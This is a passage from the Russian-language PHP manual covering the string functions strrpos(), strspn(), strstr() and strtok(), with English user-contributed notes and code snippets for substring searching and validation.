echo "*** previous space= " . $str_position_space_before_hyphen . "<br />\n";

$line_new = substr_replace($line_new, ",", $str_position_space_before_hyphen, 1  );

echo $line_new . "<br /><br />\n";
islandispeace at hotmail dot com 29-Nov-2015 07:30
$offset is very misleading, here is my understanding:

function mystrrpos($haystack, $needle, $offset = 0) {
    if ($offset == 0) {
        return strrpos ($haystack, $needle);
    } else {
        return strrpos (substr($haystack, 0, $offset), $needle);
    }
}
info at qrworld dot net 04-Nov-2014 02:52
I made a function using strrpos to get the extension of a file.

function getExtension($file) {
  $pos = strrpos($file, '.');
  if($pos===false){
    return false;
  } else {
    return substr($file, $pos+1);
  }
}

The link of the post where I took the code is:

http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html
tremblay dot jf at gmail dot com 12-May-2014 06:57
I created an easy function that search a substring inside a string.
It reverse the string and the substring inside an strpos and substract the result to the length of the string.

if (!function_exists("real_strrpos")) {
   function real_strrpos($haystack,$needle) {
      $pos  = strlen($haystack);
      $pos -= strpos(strrev($haystack), strrev($needle) );
      $pos -= strlen($needle);
      return $pos;
   }
}
arlaud pierre 02-Jul-2012 01:51
This seems to behave like the exact equivalent to the PHP 5 offset parameter for a PHP 4 version.

<?php
 function strrpos_handmade($haystack, $needle, $offset = 0){

  if($offset === 0) return strrpos($haystack, $needle);

  $length = strlen($haystack);
  $size = strlen($needle);

  if($offset < 0) {
    $virtual_cut = $length+$offset;
    $haystack = substr($haystack, 0, $virtual_cut+$size);
    $ret = strrpos($haystack, $needle);
    return $ret > $virtual_cut ? false : $ret;
  } else {
    $haystack = substr($haystack, $offset);
    $ret = strrpos($haystack, $needle);
    return $ret === false ? $ret : $ret+$offset;
  }

}
?>
maxmike at gmail dot com 11-Jul-2009 10:05
I've got a simple method of performing a reverse strpos which may be of use.  This version I have treats the offset very simply:
Positive offsets search backwards from the supplied string index.
Negative offsets search backwards from the position of the character that many characters from the end of the string.

Here is an example of backwards stepping through instances of a string with this function:

<?php
function backwardStrpos($haystack, $needle, $offset = 0){
    $length = strlen($haystack);
    $offset = ($offset > 0)?($length - $offset):abs($offset);
    $pos = strpos(strrev($haystack), strrev($needle), $offset);
    return ($pos === false)?false:( $length - $pos - strlen($needle) );
}

$pos = 0;
$count = 0;
echo "Test1<br/>";
while(($pos = backwardStrpos("012340567890", "0", $pos)) !== false){
     echo $pos."<br/>";
    $pos--;
    if($pos < 0){
        echo "Done<br/>";break;
    }
}
echo "---===---<br/>\nTest2<br/>";
echo backwardStrpos("12341234", "1", 2)."<br/>";
echo backwardStrpos("12341234", "1", -2);
?>

Outputs:
Test1
11
5
0
Done
---===---
Test2
0
4

With Test2 the first line checks from the first 3 in "12341234" and runs backwards until it finds a 1 (at position 0)

The second line checks from the second 2 in "12341234" and seeks towards the beginning for the first 1 it finds (at position 4).

This function is useful for php4 and also useful if the offset parameter in the existing strrpos is equally confusing to you as it is for me.
alexandre at NOSPAM dot pixeline dot be 20-Dec-2008 08:35
I needed to check if a variable that contains a generated folder name based on user input had a trailing slash.

This did the trick:

<?php
    // Detect and remove a trailing slash
    $root_folder = ((strrpos($root_folder, '/') + 1) == strlen($root_folder)) ? substr($root_folder, 0, - 1) : $root_folder;
?>
dixonmd at gmail dot com 24-Dec-2007 02:42
<?php
        $pos = strlen(string $haystack) - strpos (strrev(string $haystack), strrev(string $needle)) - strlen(string $needle);
?>

         If in the needle there is more than one character then in php 4 we can use the above statement for finding the position of last occurrence of a substring in a string instead of strrpos. Because in php 4 strrpos uses the first character of the substring.

eg :
<?php
        $haystack = "you you you you you";
        $needle = "you";
        $pos1 = strlen($haystack) - strpos (strrev($haystack), strrev($needle)) - strlen($needle);
        echo $pos1 . "<br>";
        $pos2 strrpos($haystack, $needle);
        echo $pos2 . "<br>";
?>
Daniel Brinca 15-Oct-2007 05:41
Here is a simple function to find the position of the next occurrence of needle in haystack, but searching backwards  (lastIndexOf type function):

//search backwards for needle in haystack, and return its position
function rstrpos ($haystack, $needle, $offset){
    $size = strlen ($haystack);
    $pos = strpos (strrev($haystack), $needle, $size - $offset);

    if ($pos === false)
        return false;

    return $size - $pos;
}

Note: supports full strings as needle
pb at tdcspace dot dk 23-Sep-2007 07:26
what the hell are you all doing. Wanna find the *next* last from a specific position because strrpos is useless with the "offset" option, then....

ex: find 'Z' in $str from position $p,  backward...

while($p > -1 and $str{$p} <> 'Z') $p--;

Anyone will notice $p = -1 means: *not found* and that you must ensure a valid start offset in $p, that is >=0 and < string length. Doh
brian at enchanter dot net 16-Jul-2007 07:47
The documentation for 'offset' is misleading.

It says, "offset may be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string."

This is confusing if you think of strrpos as starting at the end of the string and working backwards.

A better way to think of offset is:

- If offset is positive, then strrpos only operates on the part of the string from offset to the end. This will usually have the same results as not specifying an offset, unless the only occurences of needle are before offset (in which case specifying the offset won't find the needle).

- If offset is negative, then strrpos only operates on that many characters at the end of the string. If the needle is farther away from the end of the string, it won't be found.

If, for example, you want to find the last space in a string before the 50th character, you'll need to do something like this:

strrpos($text, " ", -(strlen($text) - 50));

If instead you used strrpos($text, " ", 50), then you would find the last space between the 50th character and the end of the string, which may not have been what you were intending.
jafet at g dot m dot a dot i dot l dot com 12-Apr-2007 01:57
Full strpos() functionality, by yours truly.

<?php
function conforming_strrpos($haystack, $needle, $offset = 0)
{
    # Why does strpos() do this? Anyway...
    if(!is_string($needle)) $needle = ord(intval($needle));
    $haystack = strval($haystack);
    # Parameters
    $hlen = strlen($haystack);
    $nlen = strlen($needle);
    # Come on, this is a feature too
    if($nlen == 0)
    {
        trigger_error(__FUNCTION__.'(): Empty delimiter.', E_USER_WARNING);
        return false;
    }
    $offset = intval($offset);
    $hrev = strrev($haystack);
    $nrev = strrev($needle);
    # Search
    $pos = strpos($hrev, $nrev, $offset);
    if($pos === false) return false;
    else return $hlen - $nlen - $pos;
}
?>

Note that $offset is evaluated from the end of the string.

Also note that conforming_strrpos() performs some five times slower than strpos(). Just a thought.
mijsoot_at_gmail_dot_com 06-Mar-2007 01:43
To begin, i'm sorry for my English.
So, I needed of one function which gives me the front last position of a character.
Then I said myself that it should be better to make one which gives the "N" last position.

$return_context = "1173120681_0__0_0_Mijsoot_Thierry";

// Here i need to find = "Mijsoot_Thierry"

//echo $return_context."<br />";// -- DEBUG

function findPos($haystack,$needle,$position){
    $pos = strrpos($haystack, $needle);
    if($position>1){
        $position --;
        $haystack = substr($haystack, 0, $pos);
        $pos = findPos($haystack,$needle,$position);
    }else{
        // echo $haystack."<br />"; // -- DEBUG
        return $pos;
    }
    return $pos;
}

var_dump(findPos($return_context,"_",2)); // -- TEST
Christ Off 29-Jan-2007 10:50
Function to truncate a string
Removing dot and comma
Adding ... only if a is character found

function TruncateString($phrase, $longueurMax = 150) {
    $phrase = substr(trim($phrase), 0, $longueurMax);
    $pos = strrpos($phrase, " ");
    $phrase = substr($phrase, 0, $pos);
    if ((substr($phrase,-1,1) == ",") or (substr($phrase,-1,1) == ".")) {
        $phrase = substr($phrase,0,-1);
    }
    if ($pos === false) {
        $phrase = $phrase;
    }
    else {
        $phrase = $phrase . "...";
    }
return $phrase;
}
php NO at SPAMMERS willfris SREMMAPS dot ON nl 20-Dec-2006 06:48
<?php
/*******
 ** Maybe the shortest code to find the last occurence of a string, even in php4
 *******/
function stringrpos($haystack,$needle,$offset=NULL)
{
    return strlen($haystack)
           - strpos( strrev($haystack) , strrev($needle) , $offset)
           - strlen($needle);
}
// @return   ->   chopped up for readability.
?>
purpleidea 27-Nov-2006 12:07
I was having some issues when I moved my code to run it on a different server.
The earlier php version didn't support more than one character needles, so tada, bugs. It's in the docs, i'm just pointing it out in case you're scratching your head for a while.
dmitry dot polushkin at gmail dot com 03-Nov-2006 10:05
Returns the filename's string extension, else if no extension found returns false.
Example: filename_extension('some_file.mp3'); // mp3
Faster than the pathinfo() analogue in two times.
<?php
function filename_extension($filename) {
    $pos = strrpos($filename, '.');
    if($pos===false) {
        return false;
    } else {
        return substr($filename, $pos+1);
    }
}
?>
kavih7 at yahoo dot com 08-Jun-2006 12:53
<?php
###################################################
#
# DESCRIPTION:
# This function returns the last occurance of a string,
# rather than the last occurance of a single character like
# strrpos does. It also supports an offset from where to
# start the searching in the haystack string.
#
# ARGS:
# $haystack (required) -- the string to search upon
# $needle (required) -- the string you are looking for
# $offset (optional) -- the offset to start from
#
# RETURN VALS:
# returns integer on success
# returns false on failure to find the string at all
#
###################################################

function strrpos_string($haystack, $needle, $offset = 0)
{
    if(trim($haystack) != "" && trim($needle) != "" && $offset <= strlen($haystack))
    {
        $last_pos = $offset;
        $found = false;
        while(($curr_pos = strpos($haystack, $needle, $last_pos)) !== false)
        {
            $found = true;
            $last_pos = $curr_pos + 1;
        }
        if($found)
        {
            return $last_pos - 1;
        }
        else
        {
            return false;
        }
    }
    else
    {
        return false;
    }
}
?>
shimon at schoolportal dot co dot il 03-May-2006 11:31
In strrstr function in php 4 there is also no offset.
<?
// by Shimon Doodkin
function chrrpos($haystack, $needle, $offset=false)
{
 $needle=$needle[0];
 $l=strlen($haystack);
 if($l==0)  return false;
 if($offset===false)  $offset=$l-1;
 else
 {
  if($offset>$l) $offset=$l-1;
  if($offset<0) return false;
 }
 for(;$offset>0;$offset--)
  if($haystack[$offset]==$needle)
   return $offset;
 return false;
}
?>
gordon at kanazawa-gu dot ac dot jp 13-Sep-2005 09:56
The "find-last-occurrence-of-a-string" functions suggested here do not allow for a starting offset, so here's one, tried and tested, that does:

function my_strrpos($haystack, $needle, $offset=0) {
    // same as strrpos, except $needle can be a string
    $strrpos = false;
    if (is_string($haystack) && is_string($needle) && is_numeric($offset)) {
        $strlen = strlen($haystack);
        $strpos = strpos(strrev(substr($haystack, $offset)), strrev($needle));
        if (is_numeric($strpos)) {
            $strrpos = $strlen - $strpos - strlen($needle);
        }
    }
    return $strrpos;
}
genetically altered mastermind at gmail 22-Aug-2005 10:30
Very handy to get a file extension:
$this->data['extension'] = substr($this->data['name'],strrpos($this->data['name'],'.')+1);
fab 10-Aug-2005 04:07
RE: hao2lian

There are a lot of alternative - and unfortunately buggy - implementations of strrpos() (or last_index_of as it was called) on this page. This one is a slight modifiaction of the one below, but it should world like a *real* strrpos(), because it returns false if there is no needle in the haystack.

<?php

function my_strrpos($haystack, $needle) {
   $index = strpos(strrev($haystack), strrev($needle));
   if($index === false) {
        return false;
   }
   $index = strlen($haystack) - strlen($needle) - $index;
   return $index;
}

?>
jonas at jonasbjork dot net 06-Apr-2005 01:25
I needed to remove last directory from an path, and came up with this solution:

<?php

  $path_dir = "/my/sweet/home/";
  $path_up = substr( $path_dir, 0, strrpos( $path_dir, '/', -2 ) )."/";
  echo $path_up;

?>

Might be helpful for someone..
escii at hotmail dot com ( Brendan ) 10-Jan-2005 07:12
I was immediatley pissed when i found the behaviour of strrpos ( shouldnt it be called charrpos ?) the way it is, so i made my own implement to search for strings.

<?
function proper_strrpos($haystack,$needle){
        while($ret = strrpos($haystack,$needle))
        {
                if(strncmp(substr($haystack,$ret,strlen($needle)),
                                $needle,strlen($needle)) == 0 )
                        return $ret;
                $haystack = substr($haystack,0,$ret -1 );
        }
        return $ret;
}
?>
griffioen at justdesign dot nl 17-Nov-2004 10:57
If you wish to look for the last occurrence of a STRING in a string (instead of a single character) and don't have mb_strrpos working, try this:

    function lastIndexOf($haystack, $needle) {
        $index        = strpos(strrev($haystack), strrev($needle));
        $index        = strlen($haystack) - strlen(index) - $index;
        return $index;
    }
nexman at playoutloud dot net 07-Oct-2004 09:22
Function like the 5.0 version of strrpos for 4.x.
This will return the *last* occurence of a string within a string.

    function strepos($haystack, $needle, $offset=0) {
        $pos_rule = ($offset<0)?strlen($haystack)+($offset-1):$offset;
        $last_pos = false; $first_run = true;
        do {
            $pos=strpos($haystack, $needle, (intval($last_pos)+(($first_run)?0:strlen($needle))));
            if ($pos!==false && (($offset<0 && $pos <= $pos_rule)||$offset >= 0)) {
                $last_pos = $pos;
            } else { break; }
            $first_run = false;
        } while ($pos !== false);
        if ($offset>0 && $last_pos<$pos_rule) { $last_pos = false; }
        return $last_pos;
    }

If my math is off, please feel free to correct.
  - A positive offset will be the minimum character index position of the first character allowed.
  - A negative offset will be subtracted from the total length and the position directly before will be the maximum index of the first character being searched.

returns the character index ( 0+ ) of the last occurence of the needle.

* boolean FALSE will return no matches within the haystack, or outside boundries specified by the offset.
tsa at medicine dot wisc dot edu 24-May-2004 05:17
What the heck, I thought I'd throw another function in the mix.  It's not pretty but the following function counts backwards from your starting point and tells you the last occurrance of a mixed char string:

<?php
function strrposmixed ($haystack, $needle, $start=0) {
   // init start as the end of the str if not set
   if($start == 0) {
       $start = strlen($haystack);
   }

   // searches backward from $start
   $currentStrPos=$start;
   $lastFoundPos=false;

   while($currentStrPos != 0) {
       if(!(strpos($haystack,$needle,$currentStrPos) === false)) {
           $lastFoundPos=strpos($haystack,$needle,$currentStrPos);
           break;
       }
       $currentStrPos--;
   }

   if($lastFoundPos === false) {
       return false;
   } else {
       return $lastFoundPos;
   }
}
?>
ZaraWebFX 14-Oct-2003 11:06
this could be, what derek mentioned:

<?
function cut_last_occurence($string,$cut_off) {
    return strrev(substr(strstr(strrev($string), strrev($cut_off)),strlen($cut_off)));
}

//    example: cut off the last occurence of "limit"
    $str = "select delta_limit1, delta_limit2, delta_limit3 from table limit 1,7";
    $search = " limit";
    echo $str."\n";
    echo cut_last_occurence($str,"limit");
?>
lee at 5ss dot net 29-Aug-2003 07:21
I should have looked here first, but instead I wrote my own version of strrpos that supports searching for entire strings, rather than individual characters.  This is a recursive function.  I have not tested to see if it is more or less efficient than the others on the page.  I hope this helps someone!

<?php
//Find last occurance of needle in haystack
function str_rpos($haystack, $needle, $start = 0){
    $tempPos = strpos($haystack, $needle, $start);
    if($tempPos === false){
        if($start == 0){
            //Needle not in string at all
            return false;
        }else{
            //No more occurances found
            return $start - strlen($needle);
        }
    }else{
        //Find the next occurance
        return str_rpos($haystack, $needle, $tempPos + strlen($needle));
    }
}
?>
FIE 15-Feb-2003 05:03
refering to the comment and function about lastIndexOf()...
It seemed not to work for me the only reason I could find was the haystack was reversed and the string wasnt therefore it returnt the length of the haystack rather than the position of the last needle... i rewrote it as fallows:

<?php
function strlpos($f_haystack,$f_needle) {
      $rev_str = strrev($f_needle);
      $rev_hay = strrev($f_haystack);
      $hay_len = strlen($f_haystack);
      $ned_pos = strpos($rev_hay,$rev_str);
      $result  = $hay_len - $ned_pos - strlen($rev_str);
      return $result;
}
?>

this one fallows the strpos syntax rather than java's lastIndexOf.
I'm not positive if it takes more resources assigning all of those variables in there but you can put it all in return if you want, i dont care if i crash my server ;).

~SILENT WIND OF DOOM WOOSH!
php dot net at insite-out dot com 17-Dec-2002 11:47
I was looking for the equivalent of Java's lastIndexOf(). I couldn't find it so I wrote this:

<?php
/*
Method to return the last occurrence of a substring within a
string
*/
function last_index_of($sub_str,$instr) {
    if(strstr($instr,$sub_str)!="") {
        return(strlen($instr)-strpos(strrev($instr),$sub_str));
    }
    return(-1);
}
?>

It returns the numerical index of the substring you're searching for, or -1 if the substring doesn't exist within the string.
su.noseelg@naes, only backwards 13-Dec-2002 10:39
Maybe I'm the only one who's bothered by it, but it really bugs me when the last line in a paragraph is a single word. Here's an example to explain what I don't like:

The quick brown fox jumps over the lazy
dog.

So that's why I wrote this function. In any paragraph that contains more than 1 space (i.e., more than two words), it will replace the last space with '&nbsp;'.

<?php
function no_orphans($TheParagraph) {
    if (substr_count($TheParagraph," ") > 1) {
    $lastspace = strrpos($TheParagraph," ");
    $TheParagraph = substr_replace($TheParagraph,"&nbsp;",$lastspace,1);
    }
return $TheParagraph;
}
?>

So, it would change "The quick brown fox jumps over the lazy dog." to "The quick brown fox jumps over the lazy&nbsp;dog." That way, the last two words will always stay together.


Возвращает длину участка в начале строки, полностью соответствующего маске

  • « strrpos
  • strstr »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает длину участка в начале строки, полностью соответствующего маске

strspn

(PHP 4, PHP 5, PHP 7, PHP 8)

strspn — Возвращает длину участка в начале строки, полностью соответствующего маске

Описание

strspn(
string $string,
string $characters,
int $offset = 0,
?int $length = null
): int

Возвращает длину участка от начала строки string, содержащий только символы из characters.

Если параметры offset и length не указаны, то будет исследована вся строка string. Если они указаны, то эффект будет аналогичен вызову strspn(substr($string, $offset, $length), $characters) (подробнее смотрите функцию substr).

Строка кода:

<?php
$var = strspn("42 - ответ на 128 вопрос.", "1234567890");
?>
присвоит 2 переменной $var, так как "42" - это начальный участок строки string, состоящий только из символов "1234567890".

Список параметров

string

Исследуемая строка.

characters

Список из разрешённых символов.

offset

Позиция начала поиска в subject.

Если offset указан и неотрицателен, то strspn() начнёт искать в строке string, начиная с позиции offset. К примеру, в строке 'abcdef', символом с позицией 0 является 'a', символом с позицией 2 является 'c' и т.д.

Если offset указан и отрицателен, то strspn() начнёт поиск в строке string с позиции, отстоящей на offset символов с конца string.

length

Длина исследуемого фрагмента string.

Если length указан и неотрицателен, то строка string будет исследована в течение length после стартовой позиции.

Если length указан и отрицателен, то строка string будет исследована начиная со стартовой позиции до позиции, отстоящей на length символов с конца string.

Возвращаемые значения

Возвращает длину первого участка string, состоящего целиком из символов в characters.

Замечание:

Когда offset указан, возвращаемая длина строки определяется, начиная с этой позиции, а не с начала строки string.

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null.

Примеры

Пример #1 Пример использования strspn()

<?php
// subject не начинается ни из какого символа из mask
var_dump(strspn("foo", "o"));

// проверить два символа из subject, начиная с позиции 1
var_dump(strspn("foo", "o", 1, 2));

// проверить один символ из subject, начиная с позиции 1
var_dump(strspn("foo", "o", 1, 1));
?>

Результат выполнения приведённого примера:

int(0)
int(2)
int(1)

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • strcspn() - Возвращает длину участка в начале строки, не соответствующего маске

User Contributed Notes

lincoln dot mahmud at gmail dot com 13-Aug-2020 01:34
Get Group match letter

<?php

$s= 'aaabbbcceeffaaeeeaaabbzmmm';

function groupby( $s ){
    static $a = [];
    static $i = 0;

    $o = strspn( $s, $s[$i], $i);
    $a[ $i ] = [  $s[$i] => $o ];
    $i += $o;

    if( $i < strlen($s) ) {
        groupby($s);
    }

    return $a;
}

print_r(groupby($s));

?>
ayaou dot mohammed at gmail dot com 14-Nov-2019 02:32
This function doesn't  work with non ASCII characters

Exemple:

<?php

$subject = "Comment ca va ma cherie";
$mask = "eeca";

echo strspn($subject,$mask); // Echo 0

?>

See, we expected  1 but 0 was the correct result
nino dot skopac at gmail dot com 07-Feb-2018 06:59
strspon and preg_match seem to be equally fast for validating numbers:

<?php

$testValInvalid = 'foobar123^^';
$testValValid = '12346';
$allowedChars = '1234567890';

$t1 = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    assert(strspn($testValInvalid, $allowedChars) != strlen($testValInvalid));
    assert(strspn($testValValid, $allowedChars) == strlen($testValValid));
}
print 'Time taken for strspon: ' . (microtime(true) - $t1);
print PHP_EOL;

$t1 = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    assert(preg_match('/^[0-9]+$/', $testValInvalid) === 0);
    assert(preg_match('/^[0-9]+$/', $testValValid));
}

print 'Time taken for preg_match: ' . (microtime(true) - $t1);
print PHP_EOL;

/**
nino-mcb:hosp_web ninoskopac$ php test.php
Time taken for strspon: 3.24165391922
Time taken for preg_match: 3.1820080280304
nino-mcb:hosp_web ninoskopac$ php test.php
Time taken for strspon: 3.1806418895721
Time taken for preg_match: 3.2244551181793
 */
?>
bob at example dot com 05-Jun-2012 03:37
Quick way to check if a string consists entirely of characters within the mask is to compare strspn with strlen eg:

<?php
$path = $_SERVER['PATH_INFO'];
if (strspn($path,'/') == strlen($path)) {
    //PATH_INFO is empty
}
?>
mrsohailkhan at gmail dot com 01-Feb-2011 12:56
very dificult to get from the definition directly, while i search for that,i came to know that

strspn() will tell you the length of a string consisting entirely of the set of characters in accept set. That is, it starts walking down str until it finds a character that is not in the set (that is, a character that is not to be accepted), and returns the length of the string so far.

and

strcspn() works much the same way, except that it walks down str until it finds a character in the reject set (that is, a character that is to be rejected.) It then returns the length of the string so far.

<?php
$acceptSet = "aeiou";
$rejectSet  = "y";

$str1 ="a banana";
$str2 ="the bolivian navy on manuvers in the south pacific";

echo $n = strspn($str1,$acceptSet);// $n == 1, just "a"

echo $n = strcspn($str2,$rejectSet);// n = 16, "the bolivian nav"
?>

hope this example will help in understanding the concept of strspn() and strcspn().
AT-HE (at_he.hotmail) 28-Nov-2010 02:45
you can use this function with strlen to check illegal characters, string lenght must be the same than strspn (characters from my string contained in another)

<?php

$digits='0123456789';

if (strlen($phone) != strspn($phone,$digits))
 echo "illegal characters";

?>
Dmitry Mazur 04-Mar-2009 10:23
The second parameter is a set of allowed characters.
strspn will return an zero-based index of a first non-allowed character.
barry dot balkowski at gmail dot com 08-Aug-2008 02:12
It took me some time to understand the way this function works...
I've compiled my own explanation with my own words that is more understandable for me personally than the official one or those that can be found in different tutorials on the web.
Perhaps, it will save someone several minutes...

<?php
strspn(string $haystack, string $char_list [, int $start [, int $length]])
?>

The way it works:
 -   searches for a segment of $haystack that consists entirely from supplied through the second argument chars
 -   $haystack must start from one of the chars supplied through $char_list, otherwise the function will find nothing
 -   as soon as the function encounters a char that was not mentioned in $chars it understands that the segment is over and stops (it doesn't search for the second, third and so on segments)
 -   finally, it measures the segment's length and return it (i.e. length)

In other words it finds a span (only the first one) in the string that consists entirely form chars supplied in $chars_list and returns its length
B Crawford 02-Oct-2007 05:20
This function is significantly faster for checking illegal characters than the equivalent preg_match() method.


Находит первое вхождение подстроки

  • « strspn
  • strtok »
  • PHP Manual
  • Функции для работы со строками
  • Находит первое вхождение подстроки

strstr

(PHP 4, PHP 5, PHP 7, PHP 8)

strstr — Находит первое вхождение подстроки

Описание

strstr(string $haystack, string $needle, bool $before_needle = false): string|false

Функция возвращает подстроку строки haystack, начиная с первого вхождения needle (и включая его) и до конца строки haystack.

Замечание:

Функция учитывает регистр символов. Для поиска без учёта регистра пользуются функцией stristr().

Замечание:

Вместо этой функции пользуются функцией str_contains(), которая ищет быстрее и с меньшим потреблением памяти, когда требуется только определить, встречается ли подстрока needle в строке haystack.

Список параметров

haystack

Входная строка, в которой функция будет искать.

needle

Строка, которую функция будет искать.

До PHP 8.0.0, если параметр needle — не строка, он преобразовывается в целое число и трактуется как код символа. Это поведение устарело с PHP 7.3.0 и полагаться на него крайне не рекомендуется. В зависимости от предполагаемого поведения, параметр needle должен быть либо явно приведён к строке, либо должен быть выполнен явный вызов функции chr().

before_needle

Функция strstr() возвращает часть строки haystack до первого вхождения подстроки needle, исключая «иглу», когда для параметра установили значение true.

Возвращаемые значения

Функция возвращает часть строки или false, если не нашла подстроку needle.

Список изменений

Версия | Описание
8.0.0 | Параметр needle теперь разрешает пустую строку.
8.0.0 | Функция больше не поддерживает передачу целого числа (int) в параметр needle.
7.3.0 | Предача целого числа (int) в параметр needle устарела.

Примеры

Пример #1 Пример использования функции strstr()

<?php

$email = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // Выводит @example.com

$user = strstr($email, '@', true);
echo $user; // Выводит name

?>

Смотрите также

  • stristr() - Регистронезависимый вариант функции strstr
  • strrchr() - Находит последнее вхождение символа в строке
  • strpos() - Возвращает позицию первого вхождения подстроки
  • strpbrk() - Ищет в строке любой символ из заданного набора
  • preg_match() - Выполняет проверку на соответствие регулярному выражению

User Contributed Notes

Julian Egelstaff 10-Feb-2023 03:46
Lookout for logic inversion in old code!

In PHP 8, if the needle is an empty string, this function will return 0 (not false), implying the first character of the string matches the needle. Before PHP 8, it would return false when the needle is an empty string.

There other string functions that are affected by similar issues in PHP 8: strpos(), strrpos(), stripos(), strripos(), strchr(), strrchr(), stristr(), and this function, strstr()

If you are checking if the return value === false then you will be misled by this new behaviour. You also need to check if the needle was an empty string. Basically, something like this:

<?php
$result = $needle ? strstr($haystack, $needle) : false;
?>
Gevorg Melkumyan 03-Feb-2021 03:17
Don't  confuse this function with strtr ) I lost like 1 hour on that
trent dot renshaw at objectst dot com dot au 25-Jun-2015 02:08
> root at mantoru dot de

PHP makes this easy for you. When working with domain portion of email addresses, simply pass the return of strstr() to substr() and start at 1:

substr(strstr($haystack, '@'), 1);
laszlo dot heredy at gmail dot com 07-Nov-2013 09:39
strstr() is not a way to avoid type-checking with strpos().

If $needle is the last character in $haystack, and testing $needle as a boolean by itself would evaluate to false, then testing strstr() as a boolean will evaluate to false (because, if successful, strstr() returns the first occurrence of $needle along with the rest of $haystack).

<?php
findZero('01234');  // found a zero
findZero('43210');  // did not find a zero
findZero('0');      // did not find a zero
findZero('00');     // found a zero
findZero('000');    // found a zero
findZero('10');     // did not find a zero
findZero('100');    // found a zero

function findZero($numberString) {
    if (strstr($numberString, '0')) {
        echo 'found a zero';
    } else {
        echo 'did not find a zero';
    }
}
?>

Also, strstr() is far more memory-intensive than strpos(), especially with longer strings as your $haystack, so if you are not interested in the substring that strstr() returns, you shouldn't be using it anyway.

There is no PHP function just to check only _if_ $needle occurs in $haystack; strpos() tells you if it _doesn't_ by returning false, but, if it does occur, it tells you _where_ it occurs as an integer, which is 0 (zero) if $needle is the first part of $haystack, which is why testing if (strpos($needle, $haystack)===false) is the only way to know for sure if $needle is not part of $haystack.

My advice is to start loving type checking immediately, and to familiarize yourself with the return value of the functions you are using.

Cheers.
xslidian at lidian dot info 21-Feb-2013 07:37
For those in need of the last occurrence of a string:

<?php
function strrstr($h, $n, $before = false) {
    $rpos = strrpos($h, $n);
    if($rpos === false) return false;
    if($before == false) return substr($h, $rpos);
    else return substr($h, 0, $rpos);
}
?>
gruessle at gmail dot com 20-Apr-2011 01:39
Been using this for years:

<?php
/**
*
* @author : Dennis T Kaplan
*
* @version : 1.0
* Date : June 17, 2007
* Function : reverse strstr()
* Purpose : Returns part of haystack string from start to the first occurrence of needle
* $haystack = 'this/that/whatever';
* $result = rstrstr($haystack, '/')
* $result == this
*
* @access public
* @param string $haystack, string $needle
* @return string
**/

function rstrstr($haystack,$needle)
    {
        return substr($haystack, 0,strpos($haystack, $needle));
    }
?>

You could change it to:
rstrstr ( string $haystack , mixed $needle [, int $start] )
<?php

function rstrstr($haystack,$needle, $start=0)
    {
        return substr($haystack, $start,strpos($haystack, $needle));
    }

?>
w3b_monk3y at yahoo dot com 20-Jan-2009 12:28
If you want to emulate strstr's new before_needle parameter pre 5.3 strtok is faster than using strpos to find the needle and cutting with substr. The amount of difference varies with string size but strtok is always faster.
brett dot jr dot alton at gmail dot com 25-Nov-2007 08:02
For the needle_before (first occurance) parameter when using PHP 5.x or less, try:

<?php
$haystack = 'php-homepage-20071125.png';
$needle = '-';
$result = substr($haystack, 0, strpos($haystack, $needle)); // $result = php
?>
root at mantoru dot de 10-Nov-2007 03:22
Please note that $needle is included in the return string, as shown in the example above. This ist not always desired behavior, _especially_ in the mentioned example. Use this if you want everything AFTER $needle.

<?php
function strstr_after($haystack, $needle, $case_insensitive = false) {
    $strpos = ($case_insensitive) ? 'stripos' : 'strpos';
    $pos = $strpos($haystack, $needle);
    if (is_int($pos)) {
        return substr($haystack, $pos + strlen($needle));
    }
    // Most likely false or null
    return $pos;
}

// Example
$email = 'name@example.com';
$domain = strstr_after($email, '@');
echo $domain; // prints example.com
?>
leo dot nard at free dot fr 24-May-2005 02:12
When encoding ASCII strings to HTML size-limited strings, sometimes some HTML special chars were cut.

For example, when encoding "??" to a string of size 10, you would get: "a&a" => the second character is cut.

This function will remove any unterminated HTML special characters from the string...

<?php
function cut_html($string)
{
    $a=$string;

    while ($a = strstr($a, '&'))
    {
        echo "'".$a."'\n";
        $b=strstr($a, ';');
        if (!$b)
        {
            echo "couper...\n";
            $nb=strlen($a);
            return substr($string, 0, strlen($string)-$nb);
        }
        $a=substr($a,1,strlen($a)-1);
    }
    return $string;
}
?>


Разбивает строку на токены

  • « strstr
  • strtolower »
  • PHP Manual
  • Функции для работы со строками
  • Разбивает строку на токены

strtok

(PHP 4, PHP 5, PHP 7, PHP 8)

strtok — Разбивает строку на токены

Описание

strtok(string $string, string $token): string|false

Альтернативная сигнатура (не поддерживается с именованными аргументами):

strtok(string $token): string|false

Функция strtok() разбивает строку (string) на подстроки (токены), используя в качестве разделителей символы из token. Например, строку «This is an example string» можно разбить на отдельные слова с пробелом в качестве разделителя (token).

Заметьте, что исходная строка (string) передаётся только при первом вызове этой функции. Очередным вызовам передаются только разделители (token), так как эта функция сохраняет исходную строку и запоминает позицию в этой строке между вызовами. Для работы с новой строкой (string) нужно снова вызвать функцию с двумя аргументами. Обратите внимание, что в параметре token разрешено указывать несколько разделителей. Строка будет делиться по любому найденному символу, который содержится в параметре (token).

Замечание:

Функция ведёт себя немного иначе, чем можно было бы ожидать, знакомясь с explode(). Во-первых, последовательность из двух или более смежных символов token в анализируемой строке признаётся одним разделителем. Игнорируется и token в начале или конце строки. Например, если указана строка «;aaa;;bbb;», последовательные вызовы функции strtok() с символом «;» в качестве значения параметра token вернут строки «aaa» и «bbb», а затем false. Результатом будет то, что строка будет разделена только на два элемента, а вызов explode(";", $string) вернёт массив из 5 элементов.

Список параметров

string

Строка (string), разбиваемая на подстроки (токены).

token

Разделитель строки string.

Возвращаемые значения

Возвращает токен в виде строки (string) или false, если токенов больше нет.

Список изменений

Версия | Описание
8.3.0 | Теперь выдаёт ошибку уровня E_WARNING, когда параметр token не указан.

Примеры

Пример #1 Пример использования функции strtok()

<?php

$string = "This is\tan example\nstring";
/* В качестве разделителей указываем пробел, табуляцию и перевод строки */
$tok = strtok($string, " \n\t");

while ($tok !== false) {
echo "Word=$tok<br />";
